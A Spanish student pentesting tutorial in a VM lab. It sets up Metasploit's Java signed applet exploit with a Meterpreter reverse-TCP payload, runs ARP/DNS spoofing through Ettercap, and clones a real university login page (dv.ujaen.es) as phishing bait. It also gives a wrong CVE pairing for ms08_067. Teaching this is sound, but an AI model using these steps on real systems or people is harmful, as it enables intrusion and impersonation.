SlideShare una empresa de Scribd logo
1 de 25
Descargar para leer sin conexión
Episodio de Pentesting
                    Hello world, I’m backtrack




Nicolás Moral de Aguilar

Seguridad en tecnologías de la información
Índice
1.   Planteamiento del episodio
2.   Conceptos necesarios
3.   Configuración del escenario
4.   Escaneo a la víctima
5.   Elección de vulnerabilidad
6.   Configuración del exploit
7.   Envenenamiento DNS
8.   Ingeniería social
9.   Meterpreter en acción
     Anexos




                                   2
1. Presentación del episodio

En el episodio de penetración que se expone a lo largo de este proyecto, se realizará una
explicación detallada de cómo conseguir hacerse con un ordenador remoto aprovechando una
vulnerabilidad de Java en navegadores, que permite la ejecución de código malicioso tras aceptar
un applet de Java en cualquier navegador y/o sistema operativo. Así mismo, explicaré el
procedimiento habitual en el que entra en juego la ingeniería social para hacer que las posibles
víctimas acepten la ejecución del applet.

Para explicar el procedimiento, voy a especificar varias fases por separado, que permitirán entender
de manera más sencilla todo el proceso. En la primera fase, se debe realizar un escaneo de la LAN
en la que se sitúa el episodio para visualizar la estructura de la red y detectar posibles equipos
vulnerables. Más tarde, hay que analizar los mismos para ver cómo y qué vulnerabilidades se
pueden aprovechar. Tras eso, se debe configurar el exploit necesario para aprovechar dicha
vulnerabilidad, y dependiendo del tipo de exploit, habrá que seguir un procedimiento para hacer
que el ataque se haga efectivo.




                                                                                  3
2. Conceptos necesarios

Para la compresión de este proyecto necesitaremos tener algunas definiciones y conceptos claros,
así que voy a dar una breve explicación de todos los términos que considero necesarios para
entender el desarrollo del mismo.

Backtrack 5 R3

Distribución de Linux basada en Ubuntu destinada a la seguridad. En su última versión incorpora las
versiones actualizadas de muchas de las utilidades de Linux más usadas en el ámbito de la
seguridad informática. Abarca desde programas destinados al pentesting, como Metasploit
Framework o SET, pasando por herramientas de ingeniería inversa, como IDA Pro, de análisis de
redes, como Nmap o AirCrack, o de análisis forense, como Galleta. La distribución se basa más
concretamente en Ubuntu 10.04 LTS (Lucid Lynx) y está disponible en arquitecturas de 32, 64 bits y
en ARM. En el ámbito de la seguridad, posiblemente sea la distribución más utilizada. Como dato
adicional, en todo el desarrollo del episodio os llamará la atención la ausencia de “sudo” en los
comandos, pero la razón es que este sistema utiliza la cuenta de administrador por defecto. En el
desarrollo del episodio, me referiré a esto como Backtrack, BT o BT5.

Metasploit Framework

Es una herramienta imprescindible para cualquier informático que trabaje con test de penetración.
Metasploit o MSF, es un programa que recopila una base de datos de exploits autoactualizable que
permite aprovechar las posibles vulnerabilidades que tengan los equipos atacados. Junto con
NMap, se convierte en una herramienta increíble. Además, existe una interfaz gráfica disponible
para los que odien la CLI (Command Line Interface), llamada Armitage, de la que hablaré en uno de
los anexos del proyecto.

Ettercap

Realiza las funciones de sniffer, interceptor y registrador para cualquier LAN. Soporta direcciones
activas y pasivas de varios protocolos, incluido SSH y HTTPS. Hace posible la inyección de datos en
una conexión establecida y permite el filtrado al vuelo aun manteniendo la conexión sincronizada
gracias a la característica de realizar ataques MiTM (Man in the middle). Justamente esta última
característica es la que a nosotros nos interesa para nuestra simulación de escenario. Lo
explicaremos de forma más extensa en el apartado de Envenenamiento de DNS

VB Bridged Network Mode

VirtualBox dispone de varios modos de configuración de la tarjeta de red virtualizada de las guest.
Los más usados suelen ser el modo NAT, que crea un puente de conexión entre el host, con IP
habitualmente de tipo 192.168.X.X y el guest, el cual se configura en otra red 10.X.X.X. Y también se
usa habitualmente el modo red interna, que conecta directamente todas las guest en una misma
red. Sin embargo, puesto que el escenario precisa de actualización de diversos componentes dentro
de la VM, he configurado la red como Bridged Network (Red Puenteada) que añade ambas VM a la
red local y les asigna, como es evidente, direcciones del tipo 192.168.X.X. Ello nos permitirá tener




                                                                                   4
ambas máquinas virtuales conectadas, tanto la atacante como la atacada, y además tener en ambas
conexión a internet para actualizar los componentes necesarios.

SET

Social Engineering Toolkit es una suite en CLI que nos facilita una interfaz en consola para
automatizar el uso de ataques de penetración habituales compenetrando varias herramientas de la
distribución, como pueden ser Metasploit, NMap, Apache Server, etc… implementando en una
misma aplicación la automatización de los ataques. Le echaremos un vistazo en el apartado de
anexos.

PAYLOAD

Es un término que se refiere al código o herramienta que tras la infección de una víctima, permite
realizar todo tipo de efectos secundarios. Es decir, la parte del troyano que se encarga de los
cambios de configuración, y ejecución de cualquier orden no legítima.

EXPLOIT

Es un software, o secuencia de comandos que se crea con el fin de causar un error o un fallo en
alguna aplicación, a fin de causar un comportamiento no deseado o imprevisto en un sistema o
componente. Habitualmente supone la ejecución remota de código, la escalada de privilegios o
incluso un ataque DOS.




                                                                                  5
3. Configuración del escenario

Para poner en marcha un escenario de una simulación de un ataque de penetración o pentesting,
vamos a utilizar dos máquinas virtuales interconectadas, las cuales vamos a configurar de la manera
apropiada para que el ataque pueda llevarse a cabo de manera exitosa. Tras instalar VirtualBox,
vamos a necesitar una ISO de Windows XP SP3 y otra de Backtrack 5 R3 para instalar cada una en




una VM distinta.

(Proceso de instalación de las dos VM)

Evidentemente, podemos usar versiones diferentes de ambos SO, pero en este caso he escogido las
versiones más actualizadas de ambos. A continuación voy a mostrar la configuración que he
dispuesto en cada una de los sistemas invitados.

Backtrack 5 R3, está instalado en un disco duro virtual y se le han asignado 512Mb de RAM. Incluso
es suficiente con bastante menos memoria puesto que el ataque que vamos a realizar no necesita
tener demasiados programas en memoria. En el momento de más carga, deberían estar un servidor
Apache, MSF y Ettercap. El sistema está actualizado con la siguiente lista de órdenes:

“apt-get update && apt-get upgrade”

“msfupdate”

Además, tiene actualizado SET a la última versión desde su propio menú de opciones.

La máquina virtual está configurada como Bridged Network por lo que se adhiere a la LAN a la que
pertenece el sistema host, con una IP del tipo 192.168.1.X

Windows XP SP3 contiene las últimas actualizaciones de Windows Update y está configurado
también como Bridged Network, por lo que tiene otra IP perteneciente a la red local del host.
Además está instalado Google Chrome por si necesito hacer alguna búsqueda durante el desarrollo



                                                                                 6
del proyecto, y de paso para demostrar que independientemente del navegador instalado, el




sistema sigue siendo vulnerable, ya que la vulnerabilidad está en el JRE.

(Configuración de red de ambas VM)

Con ambas máquinas virtuales funcionando y actualizadas correctamente, estamos listos para
entrar en materia e iniciar nuestro MSF. Como recomendación adicional, propongo hacer una
Snapshot de ambas máquinas virtuales. No es estrictamente necesario ya que no vamos a tocar
nada relacionado con el kernel ni con el boot de BT5, y evidentemente Windows ya viene bien
capado de serie, pero es recomendable por si a alguien se le va la mano con la consola de
Meterpreter y teclea un “rm –r *.*”.

Hasta nueva orden, la parte que viene a continuación se desarrolla de forma íntegra en la VM de
BT5, por lo que supongo la ejecución de órdenes con “sudo” y que todas ellas se ejecutan en BT.




                                                                                7
4. Escaneo a la víctima

Lo primero que necesitamos para poder hacer uso de nuestro supuesto exploit, y tras instalar las
herramientas necesarias en nuestra máquina, es seleccionar una o varias víctimas en las que tratar
de hacer efectivo el ataque. Para ello, y con el fin de escanear las posibles vulnerabilidades que
expongan a las víctimas ante nuestro ataque, necesitamos información sobre las direcciones a las
que vamos a atacar. Para ello, lo primero es ejecutar un análisis de puertos. Y a estas alturas estaréis
pensando en Nmap, la cual evidentemente podemos utilizar. Así que sería bastante fácil ponernos
manos a la obra y ejecutar un escaneo generalizado con Nmap, del cual pondré un ejemplo
simplemente por lo que explicaré a continuación.

Escaneo vía Nmap

Ejecutamos en terminal la siguiente orden:

“nmap –A 192.168.1.26”




(Orden ejecutada en BT5)

La orden anterior básicamente realiza un scan rápido a la IP que especificamos, en este caso
192.168.1.26, y añade un scan de SO con el atributo –A. Habitualmente se usa también –v para
visualizar más información del proceso, pero puesto que es un ejemplo la he omitido.




                                                                                     8
Escanear una red mediante Nmap es una forma totalmente válida para lo que necesitamos en este
proceso, incluso podríamos utilizar Zenmap que es la GUI de Nmap, pero para que se observe el
potencial de Metasploit, vamos a realizar el scan directamente desde el propio MSF, ya que incluye
módulos de escaneo. Por tanto, iniciamos directamente la consola de Metasploit con
“msfconsole” y vemos que escaneos tenemos disponibles para realizar con los siguientes
comandos mostrados en la imagen siguiente. Los escaneos más habituales son el TCP y el SYN, pero
como de momento solo necesito averiguar cuál es la versión del SO, me vale cualquiera.




(Ejecutando SYN scan)

He configurado el RHOST con la dirección del equipo atacado porque en este caso la sabemos. Pero
si quisiéramos escanear una red, normalmente se realiza un scan a los equipos limitados por la
máscara de subred 255.255.255.0, es decir, desde 192.168.1.0 hasta 192.168.1.255. Se especifica
de la siguiente manera “set RHOSTS 192.168.1.0/24”.

Escaneamos el puerto 445 que viene abierto por defecto en todos los Windows ya que es utilizado
por SMB (Server Message Block, sistema para compartir archivos e impresoras de Microsoft) y que
nos servirá para saber la versión del sistema operativo. Observamos que está abierto, por lo que
buscamos algún scan para SMB.




                                                                                9
(Ejecutando SMB scan)

Una vez que sabemos el sistema operativo que ejecuta el sistema en cuestión y hemos obtenido la
información adicional de puertos, debemos pasar a la elaboración del plan de ataque, empezando
por la elección de la vulnerabilidad que vamos a utilizar.




                                                                               10
5. Elección de vulnerabilidad

Gracias a MSF y su gigantesca base de datos de exploits funcionales, tenemos miles de
posibilidades para hacernos con un ordenador remoto. El momento de elegir que vulnerabilidad
vamos a aprovechar es importante, ya que marcará el rumbo del proceso para hacernos con la
máquina remota. En este caso, uno de los puntos más importantes, es que la elección del exploit
debe realizarse pensando en el sistema operativo de la víctima, y en los servicios que operan por
defecto en los puertos que hayamos detectado abiertos. Por tanto, podríamos elegir
vulnerabilidades de diferentes clases.

Para Windows XP destacar el exploit “ms08_067_netapi” que ha sido uno de los más utilizados
durante la vida de XP, ya que permite su ejecución sin intervención alguna del usuario remoto, por
lo que evita la ingeniería social. El exploit aprovecha las vulnerabilidades CVE-2006-4446 y CVE-
2006-4777 y permite la apertura incluso de una sesión de meterpreter, y la escalada de privilegios
en el sistema.

Sin embargo, debido a su compatibilidad con diferentes navegadores y sistemas operativos, en este
escenario voy a utilizar la que posiblemente sea la vulnerabilidad más utilizada de MSF,
“Java_signed_applet”. El exploit se inyecta en el servidor http del atacante, junto con los payloads
generados para los diferentes sistemas operativos, y permite la ejecución de una sesión de
meterpreter, cuyas virtudes estudiaremos más adelante, en la victima.

El exploit Java signed applet nos permite crear un complemento envenenado de java para el
navegador, que puede incluso firmarse si tenemos el JDK (Java Development Kit) instalado en la VM.
Este complemento se inyecta en el servidor web independientemente de la página web que haya
creada, lo cual es bastante interesante y aumenta con creces la maniobrabilidad de la ingeniería
social. Una vez hemos aceptado su ejecución, el payload entrará en la VM víctima y se ejecutará,
creando una conexión “reverse-tcp” que se comunicará directamente con metasploit.




                                                                                  11
6. Configuración del exploit

Lo primero que debemos hacer es llamar al exploit, pero si no nos sabemos la ruta exacta podemos




utilizar la función search de Metasploit. Se ve mejor en esta imagen:

(Configuración básica de Metasploit)

En la imagen de arriba podemos observar que si hacemos un “show options”, se nos muestran
los parámetros de configuración modificables para el exploit, y su configuración por defecto. Al lado
de cada parámetro viene una breve descripción del mismo, por lo que no me voy a extender
demasiado. Pero es importante echar un vistazo a SRVHOST, SRVPORT, LHOST y para este exploit en
concreto, podemos configurar el nombre del applet malicioso modificando APPLETNAME, e incluso
la firma del applet con CERTN. Los parámetros se modifican como en el siguiente ejemplo:

“set APPLETNAME EXPLOIT”.

A continuación, la parte más importante de la configuración de un exploit consiste en la elección
del Payload, pues será el programa que se encargará de realizar la conexión inversa desde la víctima
hasta el host. En este caso, vamos a utilizar el payload más famoso de Metasploit que se llama
Meterpreter, y para ser más exactos, en su versión de puertos TCP. Dicho esto, el paso siguiente es
setearlo en nuestro exploit, dando la siguiente instrucción:




                                                                                   12
“set PAYLOAD windows/meterpreter/reverse_tcp”

Una vez configurado completamente el exploit con las opciones que necesitemos escribimos en la
consola de MSF “exploit” y automáticamente MSF montará el servidor web con el contenido
infectado. De forma predeterminada, MSF monta la inyección del exploit en una URL aleatoria del
tipo http://127.0.0.1/XXXXXXX pero si queremos especificar un nombre en la dirección tendremos
que configurar URIPATH en la configuración del exploit.

Ahora solo deberemos hacer que la víctima entre en el enlace y permita la instalación del
complemento de Java. Para ello podríamos hacer uso de ingeniería inversa, a través de un mail o de
cualquier otro servicio, pero puesto que suponemos que la víctima está en la misma red local,
vamos a usar DNS Poisoning, lo que explicaremos a continuación.




                                                                                13
7. Envenenamiento DNS

A grandes rasgos un envenenamiento DNS, más conocido por su traducción en inglés DNS
Poissoning, es una forma de ataque MiTM en el que el atacante hará que el PC atacado resuelva las
direcciones con un servidor de DNS “alterado”. Esto puede parecer un poco complejo al principio,
pero vamos a explicarlo de forma más detallada.

Primero introduciremos un nuevo concepto que no se definió en el tutorial porque consideré que
era más conveniente verlo justo en el momento de su necesidad. Así que a continuación se
explicará que es el Protocolo ARP (Adress Resolution Protocol) y el envenenamiento de su cache.

Básicamente es un protocolo responsable de encontrar la dirección MAC correspondiente a una
determinada IP. Imaginemos ordenador A y ordenador B.

ARP Request: El ordenador A pregunta en la red a quién pertenece una determinada IP, pongamos
192.168.1.1.

ARP Reply: Todos los demás ordenadores de la red ignorarán la petición a excepción del que tenga
esa dirección IP. Este ordenador contestará con un paquete que contendrá la IP requerida y su
dirección MAC.

El protocolo fue diseñado para ser simple y eficiente pero su mayor defecto es la ausencia de
autenticación. Como resultado, no hay manera de autenticar la IP con la dirección MAC contenida
en el ARP Reply. Además, el host ni siquiera comprueba si fue enviada la respuesta ARP desde la
misma IP que se solicitó en la petición.

Esto quiere decir que si un ordenador A, envía una petición y recibe una respuesta ARP, el protocolo
no puede comprobar si la IP corresponde con su MAC. Incluso si un host no envió una petición ARP
pero si recibe una respuesta ARP, confía en la información de respuesta y actualiza su cache ARP.

Por tanto, como podemos observar parece fácil explotar el débil protocolo ARP. Es posible enviar a
la red entera una respuesta ARP en la que cualquier IP está mapeada a cualquier MAC.

La vulnerabilidad anterior permite el ataque a una LAN de varias formas, en este caso, y como ya
hemos indicado anteriormente utilizaremos la técnica Man in the Middle, que nos permitirá hacer
sniff a todo el tráfico entre dos PC de la red.

Para conseguir esto, supongamos que mi PC es el host A, y mi router es el host B. Mi ordenador
tiene una IP-A y una MAC-A, y el router una IP-B y una MAC-B.

La máquina C, o sea, la que realizará el ataque, envía una respuesta ARP a B que mapea IP-A con
MAC-C, y otra respuesta ARP hacia A que mapea IP-B con MAC-C. Por tanto ahora cualquier
paquete enviado desde A a B o desde B a A, llegará a C. Entonces es momento de activar en C, IP
forwarding (Redireccionamiento IP), que permite redireccionar A a B. Es este momento cuando C se
encuentra justo en medio de la conexión entre A y B, y tenemos un ataque Man in the Middle en
toda regla.

Toda esta teoría es imprescindible, pero creo que es hora de pasar a la práctica.



                                                                                    14
Os presento a Ettercap, que nos permitirá poner en práctica este ataque. En esta ocasión vamos a
utilizar la interfaz gráfica por su comodidad, ya que es un rollazo aprenderse la ingente cantidad de
comandos que tiene la CLI, y no es cómodo para trabajar. En caso de no querer iniciar Xorg,
podemos usar Ettercap –C, que funciona con una interfaz creada con curses. Así que iniciamos
Ettercap introduciendo en la terminal “ettercap -G”.

A continuación hacemos click en “Sniff -> Unified Sniffing” y se nos abrirá una ventana de selección
en la que podremos escoger cualquiera de las interfaces disponibles. Como estoy trabajando en VB,
elijo eth0.




(Ettercap en modo Unified Sniffing)

Ahora vamos a escanear la red para ver los equipos, por lo que hacemos click en “Hosts -> Scan for
host”. Y cuando esté completado en “Hosts -> Host List”. Ahora vemos información interesante, que
son todos los host de la red listados con direcciones MAC correspondientes. Nos disponemos a
hacer un ataque MiTM, por tanto seleccionamos un host y pulsamos en “Add to Target 1” y
hacemos lo mismo con el otro host que queramos interceptar pero esta vez lo añadimos en “Add to
Target 2”.




                                                                                   15
(Seleccionando objetivos en Ettercap)

Ahora seleccionamos “Mitm -> Arp Poisoning” y marcamos la opción de Sniff Remote Connection.
Una vez hecho esto iniciamos el Sniff desde “Start -> Start Sniffing”

Una vez que los paquetes están pasando por nuestro PC, lo que necesitamos es direccionar a la
víctima a la dirección IP en la que hemos inyectado el exploit, para ello lo que vamos a hacer es
redireccionar el DNS usando un plugin de Ettercap que se llama dns-spoof. Pero antes debemos
editar el archivo de configuración que Ettercap dedica al dns. Si estáis habituados al archivo de
Linux hosts (/etc/hosts) veréis que la configuración se hace del mismo modo, así que desde una
terminal nos vamos a editar el archivo de configuración de DNS de Ettercap.

“nano /usr/local/share/ettercap/etter.dns”

Aquí añadimos las líneas que queramos para redireccionar cualquier dirección a nuestra IP. Yo he
puesto la dirección de la UJA añadiendo esto:

*.ujaen.es A 192.168.1.27

ujaen.es A 192.168.1.27




                                                                                   16
Una vez hemos hecho eso, solo queda activar el plugin, y todo estará listo, como podemos ver en la
siguiente imagen en la que se ve como haciendo un ping y entrando directamente en la web, nos
redirecciona correctamente a nuestro servidor malicioso.




                                                                                17
8. Ingeniería social

Durante el desarrollo del proyecto me estuve planteando la posibilidad de omitir este apartado. Sin
embargo después de no pocas reflexiones, creo que a nivel de poner en práctica este episodio en el
mundo real, esta es la parte más importante. Se debe hacer caer a la víctima en la trampa, y una de
las maneras más eficientes es suplantando la identidad de un sitio web habitual de tal manera que
el usuario no se dé cuenta de la trampa. Creo que estamos de acuerdo en que un index.html del
tipo <h1>HOLA, SI ACEPTAS ESTE APPLET VOY A HACKEARTE EL PC</h1> no es demasiado
útil.

Pero… ¿Y si clonamos la web de Google? Pensé en clonar la UJA, pero la verdad es que ocupa
demasiado y tardaríamos en descargar el árbol de direcciones bastante rato. Al final, decidí
inyectarlo en un sitio más creíble, ya que a día de hoy es improbable que Google inserte un applet
de Java en su buscador y me decidí por inyectarlo justo en el enlace de autenticación de
dv.ujaen.es, cambiando el link en el código fuente hacia mi IP.

Me pongo manos a la obra, y aunque podría descargarme el código directamente con wget o con
un right click en la misma web, o incluso copiando directamente el código fuente visible, eso es una
chapuza a no ser que nos queramos pasar un par de horas redireccionando hojas de estilo y
contenido multimedia.

Descargamos un programa que se encarga de hacer la tarea por nosotros, httrack.

“apt-get install httrack”

Nos situamos en la carpeta que queramos descargar la web, y ejecutamos el programa pasando
como argumento la web que deseemos.

“httrack dv.ujaen.es”




(httrack clonando www.google.es)



                                                                                  18
Una vez copiada la web en la carpeta que hayamos definido por defecto (recomiendo que no sea
directamente el servidor por si hay algún fallo) comprobamos que está bien en el navegador, y la
copiamos directamente a la carpeta del servidor apache, ya sea únicamente el index o también
archivos y carpetas asociados.

“cp dv.ujaen.es/* /var/www”

Una vez lo hemos copiado iniciamos el servidor apache desde el menú.

Applications -> Backtrack -> Services -> HTTPD -> apache start

Básicamente ya está todo copiado y listo para funcionar. Os adjunto como información adicional los
parámetros exactos que yo he utilizado para configurar el exploit y el payload en MSF.

set APPLETNAME UJA_AUTH

set CERTCN Ujaen

set URIPATH /authapplet

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.XXX

(Hay que tener cuidado de no establecer como Puerto del servidor el 80, ya que lo estamos
utilizando para alojar a la web clonada)




                                                                                 19
9. Meterpreter en acción

Exploit inyectado en la web esperamos pacientemente que nuestra ingeniería social haga acto de
presencia ante la víctima y esta ejecute el complemento de Java. Una vez ejecutado, el applet se
encargará de realizar automáticamente una conexión inversa hacia nuestro servidor por el puerto
que hayamos especificado en LPORT y abrirá una sesión de Meterpreter para dejarnos en
ordenador atacado a nuestra disposición.

Metasploit por defecto no nos redirige a la sesión abierta directamente, tendremos que abrirla
nosotros, así que vemos los comandos por defecto.

Primero, ejecutamos “sessions –l” y nos listará todas las sesiones que hayan activado nuestros
troyanos de conexión inversa. Para seleccionar una simplemente tenemos que escribir:




(Exploit activando sesión y abriéndola en meterpreter)

“sessions –i id” es decir…

“sessions –i 1”

Se nos abrirá una session de Meterpreter, y lo primero que tenemos que hacer tras examiner un
poquito la CLI, es ejecutar una orden help, para ver qué podemos hacer con él. En este momento,
los que no conozcan Meterpreter se darán cuenta de por qué he elegido este payload y no uno de
Shell normal. Meterpreter tiene muchísimas opciones con órdenes directas, desde subir o
descargar un archivo, hasta terminar un proceso o capturar el micro o la webcam.

El payload es verdaderamente una obra de arte, podría explicar uno por uno que hace cada
comando, pero puesto que viene una descripción del mismo en inglés creo que no tiene sentido y
es mucho más divertido si lo investigas tú mismo.




                                                                                 20
(Algunos comandos de Meterpreter)




                                    21
Anexos

Como información complementaria al proyecto, pero relativa al mismo, voy a presentaros dos
herramientas que os facilitarán el trabajo del día a día. Armitage y SET.




Armitage

Esta herramienta básicamente se encarga de proveer de interfaz gráfica a MSF, pero sin dejar de
lado una línea de comandos. Armitage tiene una barra superior que automatiza el escaneo de
redes, la búsqueda de ataques disponibles para las distintas posibles víctimas dependiendo de la
información que consiga en los escaneos pertinentes. Además, te permite elegir los ataques y te
ofrece una configuración predeterminada para el mismo dependiendo del sistema operativo de la
víctima. Su parte inferior, es una consola en la que se van abriendo pestañas para lanzar los
diferentes procesos durante el ataque. En cierto modo, como toda interfaz gráfica, reduce
considerablemente las posibilidades del programa comparado con su interfaz CLI, pero ya que la
propia interfaz dispone de una línea de comandos, podemos suplir las carencias de la interfaz desde
ahí. La interfaz se lanza directamente desde el menú de backtrack.




(Lanzando armitage desde el menú)




                                                                                 22
(Ventana de metasploit habitual cuando se arranca)




(Ventana con un ataque en proceso, en la que hay vulnerados 3 dispositivos de la red)

Como podéis ver la interfaz es bastante útil, y además hace el ataque mucho más vistoso si lo que
queréis es hacer algún tipo de publicación o documento oficial.




                                                                                 23
SET

Cuyo nombre completo es Social Engineering Toolkit es un conjunto de utilidades como su propio
nombre indica que nos asiste en la tarea de poner en funcionamiento todo tipo de ataques en los
que interviene la ingeniería social, desde ataques vectoriales, hasta ataques como los de pass
harvesting o tabnabbing (El primero es captura de contraseñas envenenando una petición GET o
POST en nuestro servidor, y el segundo hace lo mismo pero carga el servidor malicioso al cambiar
de pestaña en el navegador de la víctima). Creado por David Kennedy, la verdad es que se ha
convertido en una herramienta indispensable para cualquiera que trabaje en el área de pentesting,
llegando incluso a portarse a un dispositivo iOS con Jailbreak. El software integra en muchas de sus
partes secciones del propio Metasploit, pero automatiza la tarea hasta tal punto de basarse en un
menú seleccionable con diferentes niveles. También viene incluido en la distribución de Backtrack.
Os dejo algunas imágenes.




(Menú principal de SET)




                                                                                  24
(Menú de ataques principal SET)   (Selección de Payload SET)




                                                         25

Más contenido relacionado

La actualidad más candente

La actualidad más candente (17)

Metasploit
MetasploitMetasploit
Metasploit
 
Amenazas lógicas
Amenazas lógicasAmenazas lógicas
Amenazas lógicas
 
Amenazas lógicas
Amenazas lógicasAmenazas lógicas
Amenazas lógicas
 
Amenazas lógicas
Amenazas lógicasAmenazas lógicas
Amenazas lógicas
 
Ya revisaste si tu router tiene puertas traseras
Ya revisaste si tu router tiene puertas traserasYa revisaste si tu router tiene puertas traseras
Ya revisaste si tu router tiene puertas traseras
 
Que es y como usar nmap
Que es y como usar nmapQue es y como usar nmap
Que es y como usar nmap
 
Nmap para auditoría de redes en Linux
Nmap para auditoría de redes en LinuxNmap para auditoría de redes en Linux
Nmap para auditoría de redes en Linux
 
Practica 6
Practica 6Practica 6
Practica 6
 
Crackeando redes wep
Crackeando redes wepCrackeando redes wep
Crackeando redes wep
 
Pruebas de penetración nmap
Pruebas de penetración nmapPruebas de penetración nmap
Pruebas de penetración nmap
 
Expo de tmg
Expo de tmgExpo de tmg
Expo de tmg
 
Presentacion eduin gonzalez
Presentacion eduin gonzalezPresentacion eduin gonzalez
Presentacion eduin gonzalez
 
OSSIM
OSSIMOSSIM
OSSIM
 
A3sec Webinar AlienVault USM - Sistemas de detección de ataques en tiempo real
A3sec Webinar AlienVault USM - Sistemas de detección de ataques en tiempo realA3sec Webinar AlienVault USM - Sistemas de detección de ataques en tiempo real
A3sec Webinar AlienVault USM - Sistemas de detección de ataques en tiempo real
 
Articulo nmap pvalera
Articulo nmap pvaleraArticulo nmap pvalera
Articulo nmap pvalera
 
Reconocimiento Activo
Reconocimiento ActivoReconocimiento Activo
Reconocimiento Activo
 
Firewalls
FirewallsFirewalls
Firewalls
 

Destacado

Canción que sissy spacek cantó al desnudo de john lennon
Canción que sissy spacek cantó al desnudo de john lennonCanción que sissy spacek cantó al desnudo de john lennon
Canción que sissy spacek cantó al desnudo de john lennonJose María Medina García
 
Campaña del hambre 2015
Campaña del hambre 2015Campaña del hambre 2015
Campaña del hambre 2015psjpastoral
 
Biomoleculas 110407140506-phpapp02
Biomoleculas 110407140506-phpapp02Biomoleculas 110407140506-phpapp02
Biomoleculas 110407140506-phpapp02lauraalejandra27-11
 
modelouno a uno -diaz ricardo-
modelouno a uno -diaz ricardo-modelouno a uno -diaz ricardo-
modelouno a uno -diaz ricardo-DiazRicardoDante
 
Trabajo de titi
Trabajo de titiTrabajo de titi
Trabajo de titidiegotiti
 
LasmanosdeDios
LasmanosdeDiosLasmanosdeDios
LasmanosdeDiosjassy58
 
Evaluacion de los aprendizajes meylan
Evaluacion de los aprendizajes meylanEvaluacion de los aprendizajes meylan
Evaluacion de los aprendizajes meylanmeylaneli
 
Clasificación de angulos
Clasificación de angulosClasificación de angulos
Clasificación de angulosJesus Maceda
 
Fenelon gimenez gonzalez olimpiadas 2008 -_estadios_de_beijing-7242
Fenelon gimenez gonzalez olimpiadas 2008 -_estadios_de_beijing-7242Fenelon gimenez gonzalez olimpiadas 2008 -_estadios_de_beijing-7242
Fenelon gimenez gonzalez olimpiadas 2008 -_estadios_de_beijing-7242Fenelon Gimenez Gonzalez
 
Producción Científica de la Red 2008-2014
Producción Científica de la Red 2008-2014Producción Científica de la Red 2008-2014
Producción Científica de la Red 2008-2014Neus Pellín
 
Fenelon gimenez gonzalez mujeres a librarse_del_stress-4650
Fenelon gimenez gonzalez mujeres a librarse_del_stress-4650Fenelon gimenez gonzalez mujeres a librarse_del_stress-4650
Fenelon gimenez gonzalez mujeres a librarse_del_stress-4650Fenelon Gimenez Gonzalez
 

Destacado (20)

Canción que sissy spacek cantó al desnudo de john lennon
Canción que sissy spacek cantó al desnudo de john lennonCanción que sissy spacek cantó al desnudo de john lennon
Canción que sissy spacek cantó al desnudo de john lennon
 
Erase una vez
Erase una vezErase una vez
Erase una vez
 
Curacion de contenidos
Curacion de contenidosCuracion de contenidos
Curacion de contenidos
 
Ing yuri diaz trigoso
Ing yuri diaz trigosoIng yuri diaz trigoso
Ing yuri diaz trigoso
 
Campaña del hambre 2015
Campaña del hambre 2015Campaña del hambre 2015
Campaña del hambre 2015
 
Google maps
Google mapsGoogle maps
Google maps
 
Biomoleculas 110407140506-phpapp02
Biomoleculas 110407140506-phpapp02Biomoleculas 110407140506-phpapp02
Biomoleculas 110407140506-phpapp02
 
modelouno a uno -diaz ricardo-
modelouno a uno -diaz ricardo-modelouno a uno -diaz ricardo-
modelouno a uno -diaz ricardo-
 
Trabajo de titi
Trabajo de titiTrabajo de titi
Trabajo de titi
 
LasmanosdeDios
LasmanosdeDiosLasmanosdeDios
LasmanosdeDios
 
Evaluacion de los aprendizajes meylan
Evaluacion de los aprendizajes meylanEvaluacion de los aprendizajes meylan
Evaluacion de los aprendizajes meylan
 
Clasificación de angulos
Clasificación de angulosClasificación de angulos
Clasificación de angulos
 
Gobierno Electrónico
Gobierno ElectrónicoGobierno Electrónico
Gobierno Electrónico
 
Fenelon gimenez gonzalez olimpiadas 2008 -_estadios_de_beijing-7242
Fenelon gimenez gonzalez olimpiadas 2008 -_estadios_de_beijing-7242Fenelon gimenez gonzalez olimpiadas 2008 -_estadios_de_beijing-7242
Fenelon gimenez gonzalez olimpiadas 2008 -_estadios_de_beijing-7242
 
Trata de blanca..mari
Trata de blanca..mariTrata de blanca..mari
Trata de blanca..mari
 
Los demostrativos
Los demostrativosLos demostrativos
Los demostrativos
 
Tastet de ciencia
Tastet de cienciaTastet de ciencia
Tastet de ciencia
 
Producción Científica de la Red 2008-2014
Producción Científica de la Red 2008-2014Producción Científica de la Red 2008-2014
Producción Científica de la Red 2008-2014
 
Trabajo final romi
Trabajo final romiTrabajo final romi
Trabajo final romi
 
Fenelon gimenez gonzalez mujeres a librarse_del_stress-4650
Fenelon gimenez gonzalez mujeres a librarse_del_stress-4650Fenelon gimenez gonzalez mujeres a librarse_del_stress-4650
Fenelon gimenez gonzalez mujeres a librarse_del_stress-4650
 

Similar a Episodio de pentesting

Guia de redireccionamiento en ubuntu
Guia de redireccionamiento en ubuntuGuia de redireccionamiento en ubuntu
Guia de redireccionamiento en ubuntuPatoMC
 
Armitage pruebas
Armitage pruebasArmitage pruebas
Armitage pruebasTensor
 
Airbase y KARMetasploit
Airbase y KARMetasploitAirbase y KARMetasploit
Airbase y KARMetasploitDaniel
 
Trabajo de seguridad informatica 1
Trabajo de seguridad informatica 1Trabajo de seguridad informatica 1
Trabajo de seguridad informatica 1Carlos Alderete
 
Cuestionario de concepto de seguridad
Cuestionario de concepto de seguridadCuestionario de concepto de seguridad
Cuestionario de concepto de seguridadraul115
 
Armitage pruebas
Armitage pruebasArmitage pruebas
Armitage pruebasTensor
 
Funcionamiento básico y primeros pasos en wifislax
Funcionamiento básico y primeros pasos en wifislaxFuncionamiento básico y primeros pasos en wifislax
Funcionamiento básico y primeros pasos en wifislaxWaldir Nuñez Francia
 
Programación de Centralitas Privadas
Programación de Centralitas PrivadasProgramación de Centralitas Privadas
Programación de Centralitas PrivadasNoliyo
 
Administración de switches
Administración de switchesAdministración de switches
Administración de switchesRaul Lozada
 
Smtp 2950
Smtp 2950Smtp 2950
Smtp 29501 2d
 
Penetración con una Backdoor
Penetración con una BackdoorPenetración con una Backdoor
Penetración con una BackdoorNEGOCIOS PROPIOS
 
MAITAINING ACCESS
MAITAINING ACCESSMAITAINING ACCESS
MAITAINING ACCESSTensor
 
Maitaining access
Maitaining accessMaitaining access
Maitaining accessTensor
 
Karmetasploit - Entorno de entrenamiento de seguridad informática
